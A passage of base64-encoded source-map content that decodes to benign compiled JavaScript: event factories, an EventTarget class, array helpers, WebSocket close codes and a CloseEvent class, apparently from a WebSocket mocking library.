yaWN0JztcblxuT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywge1xuICB2YWx1ZTogdHJ1ZVxufSk7XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7ICdkZWZhdWx0Jzogb2JqIH07IH1cblxudmFyIF9oZWxwZXJzRXZlbnQgPSByZXF1aXJlKCcuL2hlbHBlcnMvZXZlbnQnKTtcblxudmFyIF9oZWxwZXJzRXZlbnQyID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfaGVscGVyc0V2ZW50KTtcblxudmFyIF9oZWxwZXJzTWVzc2FnZUV2ZW50ID0gcmVxdWlyZSgnLi9oZWxwZXJzL21lc3NhZ2UtZXZlbnQnKTtcblxudmFyIF9oZWxwZXJzTWVzc2FnZUV2ZW50MiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2hlbHBlcnNNZXNzYWdlRXZlbnQpO1xuXG52YXIgX2hlbHBlcnNDbG9zZUV2ZW50ID0gcmVxdWlyZSgnLi9oZWxwZXJzL2Nsb3NlLWV2ZW50Jyk7XG5cbnZhciBfaGVscGVyc0Nsb3NlRXZlbnQyID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfaGVscGVyc0Nsb3NlRXZlbnQpO1xuXG4vKlxuKiBDcmVhdGVzIGFuIEV2ZW50IG9iamVjdCBhbmQgZXh0ZW5kcyBpdCB0byBhbGxvdyBmdWxsIG1vZGlmaWNhdGlvbiBvZlxuKiBpdHMgcHJvcGVydGllcy5cbipcbiogQHBhcmFtIHtvYmplY3R9IGNvbmZpZyAtIHdpdGhpbiBjb25maWcgeW91IHdpbGwgbmVlZCB0byBwYXNzIHR5cGUgYW5kIG9wdGlvbmFsbHkgdGFyZ2V0XG4qL1xuZnVuY3Rpb24gY3JlYXRlRXZlbnQoY29uZmlnKSB7XG4gIHZhciB0eXBlID0gY29uZmlnLnR5cGU7XG4gIHZhciB0YXJnZXQgPSBjb25maWcudGFyZ2V0O1xuXG4gIHZhciBldmVudE9iamVjdCA9IG5ldyBfaGVscGVyc0V2ZW50MlsnZGVmYXVsdCddKHR5cGUpO1xuXG4gIGlmICh0YXJnZXQpIHtcbiAgICBldmVudE9iamVjdC50YXJnZXQgPSB0YXJnZXQ7XG4gICAgZXZlbnRPYmplY3Quc3JjRWxlbWVudCA9IHRhcmdldDtcbiAgICBldmVudE9iamVjdC5jdXJyZW50VGFyZ2V0ID0gdGFyZ2V0O1xuICB9XG5cbiAgcmV0dXJuIGV2ZW50T2JqZWN0O1xufVxuXG4vKlxuKiBDcmVhdGVzIGEgTWVzc2FnZUV2ZW50IG9iamVjdCBhbmQgZXh0ZW5kcyBpdCB0byBhbGxvdyBmdWxsIG1vZGlmaWNhdGlvbiBvZlxuKiBpdHMgcHJvcGVydGllcy5cbipcbiogQHBhcmFtIHtvYmplY3R9IGNvbmZpZyAtIHdpdGhpbiBjb25maWcgeW91IHdpbGwgbmVlZCB0byBwYXNzIHR5cGUsIG9yaWdpbiwgZGF0YSBhbmQgb3B0aW9uYWxseSB0YXJnZXRcbiovXG5mdW5jdGlvbiBjcmVhdGVNZXNzYWdlRXZlbnQoY29uZmlnKSB7XG4gIHZhciB0eXBlID0gY29uZmlnLnR5cGU7XG4gIHZhciBvcmlnaW4gPSBjb25maWcub3JpZ2luO1xuICB2YXIgZGF0YSA9IGNvbmZpZy5kYXRhO1xuICB2YXIgdGFyZ2V0ID0gY29uZmlnLnRhcmdldDtcblxuICB2YXIgbWVzc2FnZUV2ZW50ID0gbmV3IF9oZWxwZXJzTWVzc2FnZUV2ZW50MlsnZGVmYXVsdCddKHR5cGUsIHtcbiAgICBkYXRhOiBkYXRhLFxuICAgIG9yaWdpbjogb3JpZ2luXG4gIH0pO1xuXG4gIGlmICh0YXJnZXQpIHtcbiAgICBtZXNzYWdlRXZlbnQudGFyZ2V0ID0gdGFyZ2V0O1xuICAgIG1lc3NhZ2VFdmVudC5zcmNFbGVtZW50ID0gdGFyZ2V0O1xuICAgIG1lc3NhZ2VFdmVudC5jdXJyZW50VGFyZ2V0ID0gdGFyZ2V0O1xuICB9XG5cbiAgcmV0dXJuIG1lc3NhZ2VFdmVudDtcbn1cblxuLypcbiogQ3JlYXRlcyBhIENsb3NlRXZlbnQgb2JqZWN0IGFuZCBleHRlbmRzIGl0IHRvIGFsbG93IGZ1bGwgbW9kaWZpY2F0aW9uIG9mXG4qIGl0cyBwcm9wZXJ0aWVzLlxuKlxuKiBAcGFyYW0ge29iamVjdH0gY29uZmlnIC0gd2l0aGluIGNvbmZpZyB5b3Ugd2lsbCBuZWVkIHRvIHBhc3MgdHlwZSBhbmQgb3B0aW9uYWxseSB0YXJnZXQsIGNvZGUsIGFuZCByZWFzb25cbiovXG5mdW5jdGlvbiBjcmVhdGVDbG9zZUV2ZW50KGNvbmZpZykge1xuICB2YXIgY29kZSA9IGNvbmZpZy5jb2RlO1xuICB2YXIgcmVhc29uID0gY29uZmlnLnJlYXNvbjtcbiAgdmFyIHR5cGUgPSBjb25maWcudHlwZTtcbiAgdmFyIHRhcmdldCA9IGNvbmZpZy50YXJnZXQ7XG4gIHZhciB3YXNDbGVhbiA9IGNvbmZpZy53YXNDbGVhbjtcblxuICBpZiAoIXdhc0NsZWFuKSB7XG4gICAgd2FzQ2xlYW4gPSBjb2RlID09PSAxMDAwO1xuICB9XG5cbiAgdmFyIGNsb3NlRXZlbnQgPSBuZXcgX2hlbHBlcnNDbG9zZUV2ZW50MlsnZGVmYXVsdCddKHR5cGUsIHtcbiAgICBjb2RlOiBjb2RlLFxuICAgIHJlYXNvbjogcmVhc29uLFxuICAgIHdhc0NsZWFuOiB3YXNDbGVhblxuICB9KTtcblxuICBpZiAodGFyZ2V0KSB7XG4gICAgY2xvc2VFdmVudC50YXJnZXQgPSB0YXJnZXQ7XG4gICAgY2xvc2VFdmVudC5zcmNFbGVtZW50ID0gdGFyZ2V0O1xuICAgIGNsb3NlRXZlbnQuY3VycmVudFRhcmdldCA9IHRhcmdldDtcbiAgfVxuXG4gIHJldHVybiBjbG9zZUV2ZW50O1xufVxuXG5leHBvcnRzLmNyZWF0ZUV2ZW50ID0gY3JlYXRlRXZlbnQ7XG5leHBvcnRzLmNyZWF0ZU1lc3NhZ2VFdmVudCA9IGNyZWF0ZU1lc3NhZ2VFdmVudDtcbmV4cG9ydHMuY3JlYXRlQ2xvc2VFdmVudCA9IGNyZWF0ZUNsb3NlRXZlbnQ7IiwiJ3VzZSBzdHJpY3QnO1xuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgJ19fZXNNb2R1bGUnLCB7XG4gIHZhbHVlOiB0cnVlXG59KTtcblxudmFyIF9jcmVhdGVDbGFzcyA9IChmdW5jdGlvbiAoKSB7IGZ1bmN0aW9uIGRlZmluZVByb3BlcnRpZXModGFyZ2V0LCBwcm9wcykgeyBmb3IgKHZhciBpID0gMDsgaSA8IHByb3BzLmxlbmd0aDsgaSsrKSB7IHZhciBkZXNjcmlwdG9yID0gcHJvcHNbaV07IGRlc2NyaXB0b3IuZW51bWVyYWJsZSA9IGRlc2NyaXB0b3IuZW51bWVyYWJsZSB8fCBmYWxzZTsgZGVzY3JpcHRvci5jb25maWd1cmFibGUgPSB0cnVlOyBpZiAoJ3ZhbHVlJyBpbiBkZXNjcmlwdG9yKSBkZXNjcmlwdG9yLndyaXRhYmxlID0gdHJ1ZTsgT2JqZWN0LmRlZmluZVByb3BlcnR5KHRhcmdldCwgZGVzY3JpcHRvci5rZXksIGRlc2NyaXB0b3IpOyB9IH0gcmV0dXJuIGZ1bmN0aW9uIChDb25zdHJ1Y3RvciwgcHJvdG9Qcm9wcywgc3RhdGljUHJvcHMpIHsgaWYgKHByb3RvUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IucHJvdG90eXBlLCBwcm90b1Byb3BzKTsgaWYgKHN0YXRpY1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLCBzdGF0aWNQcm9wcyk7IHJldHVybiBDb25zdHJ1Y3RvcjsgfTsgfSkoKTtcblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKCdDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb24nKTsgfSB9XG5cbnZhciBfaGVscGVyc0FycmF5SGVscGVycyA9IHJlcXVpcmUoJy4vaGVscGVycy9hcnJheS1oZWxwZXJzJyk7XG5cbi8qXG4qIEV2ZW50VGFyZ2V0IGlzIGFuIGludGVyZmFjZSBpbXBsZW1lbnRlZCBieSBvYmplY3RzIHRoYXQgY2FuXG4qIHJlY2VpdmUgZXZlbnRzIGFuZCBtYXkgaGF2ZSBsaXN0ZW5lcnMgZm9yIHRoZW0uXG4qXG4qIGh0dHBzOi8vZGV2ZWxvcGVyLm1vemlsbGEub3JnL2VuLVVTL2RvY3MvV2ViL0FQSS9FdmVudFRhcmdldFxuKi9cblxudmFyIEV2ZW50VGFyZ2V0ID0gKGZ1bmN0aW9uICgpIHtcbiAgZnVuY3Rpb24gRXZlbnRUYXJnZXQoKSB7XG4gICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIEV2ZW50VGFyZ2V0KTtcblxuICAgIHRoaXMubGlzdGVuZXJzID0ge307XG4gIH1cblxuICAvKlxuICAqIFRpZXMgYSBsaXN0ZW5lciBmdW5jdGlvbiB0byBhIGV2ZW50IHR5cGUgd2hpY2ggY2FuIGxhdGVyIGJlIGludm9rZWQgdmlhIHRoZVxuICAqIGRpc3BhdGNoRXZlbnQgbWV0aG9kLlxuICAqXG4gICogQHBhcmFtIHtzdHJpbmd9IHR5cGUgLSB0aGUgdHlwZSBvZiBldmVudCAoaWU6ICdvcGVuJywgJ21lc3NhZ2UnLCBldGMuKVxuICAqIEBwYXJhbSB7ZnVuY3Rpb259IGxpc3RlbmVyIC0gdGhlIGNhbGxiYWNrIGZ1bmN0aW9uIHRvIGludm9rZSB3aGVuZXZlciBhIGV2ZW50IGlzIGRpc3BhdGNoZWQgbWF0Y2hpbmcgdGhlIGdpdmVuIHR5cGVcbiAgKiBAcGFyYW0ge2Jvb2xlYW59IHVzZUNhcHR1cmUgLSBOL0EgVE9ETzogaW1wbGVtZW50IHVzZUNhcHR1cmUgZnVuY3Rpb25hbGl0eVxuICAqL1xuXG4gIF9jcmVhdGVDbGFzcyhFdmVudFRhcmdldCwgW3tcbiAgICBrZXk6ICdhZGRFdmVudExpc3RlbmVyJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gYWRkRXZlbnRMaXN0ZW5lcih0eXBlLCBsaXN0ZW5lciAvKiAsIHVzZUNhcHR1cmUgKi8pIHtcbiAgICAgIGlmICh0eXBlb2YgbGlzdGVuZXIgPT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgaWYgKCFBcnJheS5pc0FycmF5KHRoaXMubGlzdGVuZXJzW3R5cGVdKSkge1xuICAgICAgICAgIHRoaXMubGlzdGVuZXJzW3R5cGVdID0gW107XG4gICAgICAgIH1cblxuICAgICAgICAvLyBPbmx5IGFkZCB0aGUgc2FtZSBmdW5jdGlvbiBvbmNlXG4gICAgICAgIGlmICgoMCwgX2hlbHBlcnNBcnJheUhlbHBlcnMuZmlsdGVyKSh0aGlzLmxpc3RlbmVyc1t0eXBlXSwgZnVuY3Rpb24gKGl0ZW0pIHtcbiAgICAgICAgICByZXR1cm4gaXRlbSA9PT0gbGlzdGVuZXI7XG4gICAgICAgIH0pLmxlbmd0aCA9PT0gMCkge1xuICAgICAgICAgIHRoaXMubGlzdGVuZXJzW3R5cGVdLnB1c2gobGlzdGVuZXIpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuXG4gICAgLypcbiAgICAqIFJlbW92ZXMgdGhlIGxpc3RlbmVyIHNvIGl0IHdpbGwgbm8gbG9uZ2VyIGJlIGludm9rZWQgdmlhIHRoZSBkaXNwYXRjaEV2ZW50IG1ldGhvZC5cbiAgICAqXG4gICAgKiBAcGFyYW0ge3N0cmluZ30gdHlwZSAtIHRoZSB0eXBlIG9mIGV2ZW50IChpZTogJ29wZW4nLCAnbWVzc2FnZScsIGV0Yy4pXG4gICAgKiBAcGFyYW0ge2Z1bmN0aW9ufSBsaXN0ZW5lciAtIHRoZSBjYWxsYmFjayBmdW5jdGlvbiB0byBpbnZva2Ugd2hlbmV2ZXIgYSBldmVudCBpcyBkaXNwYXRjaGVkIG1hdGNoaW5nIHRoZSBnaXZlbiB0eXBlXG4gICAgKiBAcGFyYW0ge2Jvb2xlYW59IHVzZUNhcHR1cmUgLSBOL0EgVE9ETzogaW1wbGVtZW50IHVzZUNhcHR1cmUgZnVuY3Rpb25hbGl0eVxuICAgICovXG4gIH0sIHtcbiAgICBrZXk6ICdyZW1vdmVFdmVudExpc3RlbmVyJyxcbiAgICB2YWx1ZTogZnVuY3Rpb24gcmVtb3ZlRXZlbnRMaXN0ZW5lcih0eXBlLCByZW1vdmluZ0xpc3RlbmVyIC8qICwgdXNlQ2FwdHVyZSAqLykge1xuICAgICAgdmFyIGFycmF5T2ZMaXN0ZW5lcnMgPSB0aGlzLmxpc3RlbmVyc1t0eXBlXTtcbiAgICAgIHRoaXMubGlzdGVuZXJzW3R5cGVdID0gKDAsIF9oZWxwZXJzQXJyYXlIZWxwZXJzLnJlamVjdCkoYXJyYXlPZkxpc3RlbmVycywgZnVuY3Rpb24gKGxpc3RlbmVyKSB7XG4gICAgICAgIHJldHVybiBsaXN0ZW5lciA9PT0gcmVtb3ZpbmdMaXN0ZW5lcjtcbiAgICAgIH0pO1xuICAgIH1cblxuICAgIC8qXG4gICAgKiBJbnZva2VzIGFsbCBsaXN0ZW5lciBmdW5jdGlvbnMgdGhhdCBhcmUgbGlzdGVuaW5nIHRvIHRoZSBnaXZlbiBldmVudC50eXBlIHByb3BlcnR5LiBFYWNoXG4gICAgKiBsaXN0ZW5lciB3aWxsIGJlIHBhc3NlZCB0aGUgZXZlbnQgYXMgdGhlIGZpcnN0IGFyZ3VtZW50LlxuICAgICpcbiAgICAqIEBwYXJhbSB7b2JqZWN0fSBldmVudCAtIGV2ZW50IG9iamVjdCB3aGljaCB3aWxsIGJlIHBhc3NlZCB0byBhbGwgbGlzdGVuZXJzIG9mIHRoZSBldmVudC50eXBlIHByb3BlcnR5XG4gICAgKi9cbiAgfSwge1xuICAgIGtleTogJ2Rpc3BhdGNoRXZlbnQnLFxuICAgIHZhbHVlOiBmdW5jdGlvbiBkaXNwYXRjaEV2ZW50KGV2ZW50KSB7XG4gICAgICB2YXIgX3RoaXMgPSB0aGlzO1xuXG4gICAgICBmb3IgKHZhciBfbGVuID0gYXJndW1lbnRzLmxlbmd0aCwgY3VzdG9tQXJndW1lbnRzID0gQXJyYXkoX2xlbiA+IDEgPyBfbGVuIC0gMSA6IDApLCBfa2V5ID0gMTsgX2tleSA8IF9sZW47IF9rZXkrKykge1xuICAgICAgICBjdXN0b21Bcmd1bWVudHNbX2tleSAtIDFdID0gYXJndW1lbnRzW19rZXldO1xuICAgICAgfVxuXG4gICAgICB2YXIgZXZlbnROYW1lID0gZXZlbnQudHlwZTtcbiAgICAgIHZhciBsaXN0ZW5lcnMgPSB0aGlzLmxpc3RlbmVyc1tldmVudE5hbWVdO1xuXG4gICAgICBpZiAoIUFycmF5LmlzQXJyYXkobGlzdGVuZXJzKSkge1xuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICB9XG5cbiAgICAgIGxpc3RlbmVycy5mb3JFYWNoKGZ1bmN0aW9uIChsaXN0ZW5lcikge1xuICAgICAgICBpZiAoY3VzdG9tQXJndW1lbnRzLmxlbmd0aCA+IDApIHtcbiAgICAgICAgICBsaXN0ZW5lci5hcHBseShfdGhpcywgY3VzdG9tQXJndW1lbnRzKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICBsaXN0ZW5lci5jYWxsKF90aGlzLCBldmVudCk7XG4gICAgICAgIH1cbiAgICAgIH0pO1xuICAgIH1cbiAgfV0pO1xuXG4gIHJldHVybiBFdmVudFRhcmdldDtcbn0pKCk7XG5cbmV4cG9ydHNbJ2RlZmF1bHQnXSA9IEV2ZW50VGFyZ2V0O1xubW9kdWxlLmV4cG9ydHMgPSBleHBvcnRzWydkZWZhdWx0J107IiwiXCJ1c2Ugc3RyaWN0XCI7XG5cbk9iamVjdC5kZWZpbmVQcm9wZXJ0eShleHBvcnRzLCBcIl9fZXNNb2R1bGVcIiwge1xuICB2YWx1ZTogdHJ1ZVxufSk7XG5leHBvcnRzLnJlamVjdCA9IHJlamVjdDtcbmV4cG9ydHMuZmlsdGVyID0gZmlsdGVyO1xuXG5mdW5jdGlvbiByZWplY3QoYXJyYXksIGNhbGxiYWNrKSB7XG4gIHZhciByZXN1bHRzID0gW107XG4gIGFycmF5LmZvckVhY2goZnVuY3Rpb24gKGl0ZW1JbkFycmF5KSB7XG4gICAgaWYgKCFjYWxsYmFjayhpdGVtSW5BcnJheSkpIHtcbiAgICAgIHJlc3VsdHMucHVzaChpdGVtSW5BcnJheSk7XG4gICAgfVxuICB9KTtcblxuICByZXR1cm4gcmVzdWx0cztcbn1cblxuZnVuY3Rpb24gZmlsdGVyKGFycmF5LCBjYWxsYmFjaykge1xuICB2YXIgcmVzdWx0cyA9IFtdO1xuICBhcnJheS5mb3JFYWNoKGZ1bmN0aW9uIChpdGVtSW5BcnJheSkge1xuICAgIGlmIChjYWxsYmFjayhpdGVtSW5BcnJheSkpIHtcbiAgICAgIHJlc3VsdHMucHVzaChpdGVtSW5BcnJheSk7XG4gICAgfVxuICB9KTtcblxuICByZXR1cm4gcmVzdWx0cztcbn0iLCIvKlxuKiBodHRwczovL2RldmVsb3Blci5tb3ppbGxhLm9yZy9lbi1VUy9kb2NzL1dlYi9BUEkvQ2xvc2VFdmVudFxuKi9cblwidXNlIHN0cmljdFwiO1xuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgXCJfX2VzTW9kdWxlXCIsIHtcbiAgdmFsdWU6IHRydWVcbn0pO1xudmFyIGNvZGVzID0ge1xuICBDTE9TRV9OT1JNQUw6IDEwMDAsXG4gIENMT1NFX0dPSU5HX0FXQVk6IDEwMDEsXG4gIENMT1NFX1BST1RPQ09MX0VSUk9SOiAxMDAyLFxuICBDTE9TRV9VTlNVUFBPUlRFRDogMTAwMyxcbiAgQ0xPU0VfTk9fU1RBVFVTOiAxMDA1LFxuICBDTE9TRV9BQk5PUk1BTDogMTAwNixcbiAgQ0xPU0VfVE9PX0xBUkdFOiAxMDA5XG59O1xuXG5leHBvcnRzW1wiZGVmYXVsdFwiXSA9IGNvZGVzO1xubW9kdWxlLmV4cG9ydHMgPSBleHBvcnRzW1wiZGVmYXVsdFwiXTsiLCIndXNlIHN0cmljdCc7XG5cbk9iamVjdC5kZWZpbmVQcm9wZXJ0eShleHBvcnRzLCAnX19lc01vZHVsZScsIHtcbiAgdmFsdWU6IHRydWVcbn0pO1xuXG52YXIgX2dldCA9IGZ1bmN0aW9uIGdldChfeDIsIF94MywgX3g0KSB7IHZhciBfYWdhaW4gPSB0cnVlOyBfZnVuY3Rpb246IHdoaWxlIChfYWdhaW4pIHsgdmFyIG9iamVjdCA9IF94MiwgcHJvcGVydHkgPSBfeDMsIHJlY2VpdmVyID0gX3g0OyBfYWdhaW4gPSBmYWxzZTsgaWYgKG9iamVjdCA9PT0gbnVsbCkgb2JqZWN0ID0gRnVuY3Rpb24ucHJvdG90eXBlOyB2YXIgZGVzYyA9IE9iamVjdC5nZXRPd25Qcm9wZXJ0eURlc2NyaXB0b3Iob2JqZWN0LCBwcm9wZXJ0eSk7IGlmIChkZXNjID09PSB1bmRlZmluZWQpIHsgdmFyIHBhcmVudCA9IE9iamVjdC5nZXRQcm90b3R5cGVPZihvYmplY3QpOyBpZiAocGFyZW50ID09PSBudWxsKSB7IHJldHVybiB1bmRlZmluZWQ7IH0gZWxzZSB7IF94MiA9IHBhcmVudDsgX3gzID0gcHJvcGVydHk7IF94NCA9IHJlY2VpdmVyOyBfYWdhaW4gPSB0cnVlOyBkZXNjID0gcGFyZW50ID0gdW5kZWZpbmVkOyBjb250aW51ZSBfZnVuY3Rpb247IH0gfSBlbHNlIGlmICgndmFsdWUnIGluIGRlc2MpIHsgcmV0dXJuIGRlc2MudmFsdWU7IH0gZWxzZSB7IHZhciBnZXR0ZXIgPSBkZXNjLmdldDsgaWYgKGdldHRlciA9PT0gdW5kZWZpbmVkKSB7IHJldHVybiB1bmRlZmluZWQ7IH0gcmV0dXJuIGdldHRlci5jYWxsKHJlY2VpdmVyKTsgfSB9IH07XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7ICdkZWZhdWx0Jzogb2JqIH07IH1cblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKCdDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb24nKTsgfSB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09ICdmdW5jdGlvbicgJiYgc3VwZXJDbGFzcyAhPT0gbnVsbCkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKCdTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90ICcgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbnZhciBfZXZlbnRQcm90b3R5cGUgPSByZXF1aXJlKCcuL2V2ZW50LXByb3RvdHlwZScpO1xuXG52YXIgX2V2ZW50UHJvdG90eXBlMiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2V2ZW50UHJvdG90eXBlKTtcblxudmFyIENsb3NlRXZlbnQgPSAoZnVuY3Rpb24gKF9FdmVudFByb3RvdHlwZSkge1xuICBfaW5oZXJpdHMoQ2xvc2VFdmVudCwgX0V2ZW50UHJvdG90eXBlKTtcblxuICBmdW5jdGlvbiBDbG9zZUV2ZW50KHR5cGUpIHtcbiAgICB2YXIgZXZlbnRJbml0Q29uZmlnID0gYXJndW1lbnRzLmxlbmd0aCA8PSAxIHx8IGFyZ3VtZW50c1sxXSA9PT0gdW5kZWZpbmVkID8ge30gOiBhcmd1bWVudHNbMV07XG5cbiAgICBfY2xhc3NDYWxsQ2hlY2sodGhpcywgQ2xvc2VFdmVudCk7XG5cbiAgICBfZ2V0KE9iamVjdC5nZXRQcm90b3R5cGVPZihDbG9zZUV2ZW50LnByb3RvdHlwZSksICdjb25zdHJ1Y3RvcicsIHRoaXMpLmNhbGwodGhpcyk7XG5cbiAgICBpZiAoIXR5cGUpIHtcbiAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0ZhaWxlZCB0byBjb25zdHJ1Y3QgXFwnQ2xvc2VFdmVudFxcJzogMSBhcmd1bWVudCByZXF1aXJlZCwgYnV0IG9ubHkgMCBwcmVzZW50LicpO1xuICAgIH1cblxuICAgIGlmICh0eXBlb2YgZXZlbnRJbml0Q29uZmlnICE9PSAnb2JqZWN0Jykge1xuICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignRmFpbGVkIHRvIGNvbnN0cnVjdCBcXCdDbG9zZUV2ZW50XFwnOiBwYXJhbWV0ZXIgMiAoXFwnZXZlbnRJbml0RGljdFxcJykgaXMgbm90IGFuIG9iamVjdCcpO1xuICAgIH1cblxuICAgIHZhciBidWJibGVzID0gZXZlbnRJbml0Q29uZmlnLmJ1YmJsZXM7XG4gICAgdmFyIGNhbmNlbGFibGUgPSBldmVudEluaXRDb25maWcuY2FuY2VsYWJsZTtcbiAgICB2YXIgY29kZSA9IGV2ZW50SW5pdENvbmZpZy5jb2RlO1xuICAgIHZhciByZWFzb24gPSBldmVudEluaXRDb25maWcucmVhc29uO1xuICAgIHZhciB3YXNDbGVhbiA9IGV2ZW50SW5pdENvbmZpZy53YXNDbGVhbjtcblxuICAgIHRoaXMudHlwZSA9IFN0cmluZyh0eXBlKTtcbiAgICB0aGlzLnRpbWVTdGFtcCA9IERhdGUubm93KCk7XG4gICAgdGhpcy50YXJnZXQgPSBudWxsO1xuICAgIHRoaXMuc3JjRWxlbWVudCA9IG51bGw7XG4gICAgdGhpcy5yZXR1cm5WYWx1ZSA9IHRydWU7XG4gICAgdGhpcy5pc1RydXN0ZWQgPSBmYWxzZTtcbiAgICB0aGlzLmV2ZW50UGhhc2UgPSAwO1xuICAgIHRoaXMuZGVmYXVsdFByZXZlbnRlZCA9IGZhbHNlO1xuICAgIHRoaXMuY3VycmVudFRhcmdldCA9IG51bGw7XG4gICAgdGhpcy5jYW5jZWxhYmxlID0gY2FuY2VsYWJsZSA/IEJvb2xlYW4oY2FuY2VsYWJsZSkgOiBmYWxzZTtcbiAgICB0aGlzLmNhbm5jZWxCdWJibGUgPSBmYWxzZTtcbiAgICB0aGlzLmJ1YmJsZXMgPSBidWJibGVzID8gQm9vbGVhbihidWJibGVzKSA6IGZhbHNlO1xuICAgIHRoaXMuY29kZSA9IHR5cGVvZiBjb2RlID09PSAnbnVtYmVyJyA/IE51bWJlcihjb2RlKSA6IDA7XG4gICAgdGhpcy5yZWFzb24gPSByZWFzb24gPyBTdHJpbmcocmVhc29uKSA6ICcnO1xuICAgIHRoaXMud2FzQ2xlYW4gPSB3YXNDbGVhbiA/IEJvb2xlYW4od2FzQ2xlYW4pIDogZmFsc2U7XG4gIH1cblxuICByZXR1cm4gQ2xvc2VFdmVudDtcbn0pKF9ldmVudFByb3RvdHlwZTJbJ2RlZmF1bHQnXSk7XG5cbmV4cG9ydHNbJ2RlZmF1bHQnXSA9IENsb3NlRXZlbnQ7XG5tb2R1bGUuZXhwb3J0cyA9IGV4cG9ydHNbJ2RlZmF1bHQnXTsiLCIvKlxuKiBUaGlzIGRlbGF5IGFsbG93cyB0aGUgdGhyZWFkIHRvIGZpbmlzaCBhc3NpZ25pbmcgaXRzIG9uKiBtZXRob2RzXG4qIGJlZm9yZSBpbnZva2luZyB0aGUgZGVsYXkgY2FsbGJhY2suIFRoaXMgaXMgcHVyZWx5IGEgdGltaW5nIGhhY2suXG4qIGh0dHA6Ly9nZWVrYWJ5dGUuYmxvZ3Nwb3QuY29tLzIwMTQvMDEvamF2YXNjcmlwdC1lZmZlY3Qtb2Ytc2V0dGluZy1zZXR0aW1lb3V0Lmh0bWxcbipcbiogQHBhcmFtIHtjYWxsYmFjazogZnVuY3Rpb259IHRoZSBjYWxsYmFjayB3aGljaCB3aWxsIGJlIGludm9rZWQgYWZ0ZXIgdGhlIHRpbWVvdXRcbiogQHBhcm1hIHtjb250ZXh0OiBvYmplY3R9IHRoZSBjb250ZXh0IGluIHdoaWNoIHRvIGludm9rZSB0aGUgZnVuY3Rpb25cbiovXG5cInVzZSBzdHJpY3RcIjtcblxuT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsIFwiX19lc01vZHVsZVwiLCB7XG4gIHZhbHVlOiB0cnVlXG59KTtcbmZ1bmN0aW9uIGRlbGF5KGNhbGxiYWNrLCBjb250ZXh0KSB7XG4gIHNldFRpbWVvdXQoZnVuY3Rpb24gdGltZW91dCh0aW1lb3V0Q29udGV4dCkge1xuICAgIGNhbGxiYWNrLmNhbGwodGltZW91dENvbnRleHQpO1xuICB9LCA0LCBjb250ZXh0KTtcbn1cblxuZXhwb3J0c1tcImRlZmF1bHRcIl0gPSBkZWxheTtcbm1vZHVsZS5leHBvcnRzID0gZXhwb3J0c1tcImRlZmF1bHRcIl07IiwiJ3VzZSBzdHJpY3QnO1xuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgJ19fZXNNb2R1bGUnLCB7XG4gIHZhbHVlOiB0cnVlXG59KTtcblxudmFyIF9jcmVhdGVDbGFzcyA9IChmdW5jdGlvbiAoKSB7IGZ1bmN0aW9uIGRlZmluZVByb3BlcnRpZXModGFyZ2V0LCBwcm9wcykgeyBmb3IgKHZhciBpID0gMDsgaSA8IHByb3BzLmxlbmd0aDsgaSsrKSB7IHZhciBkZXNjcmlwdG9yID0gcHJvcHNbaV07IGRlc2NyaXB0b3IuZW51bWVyYWJsZSA9I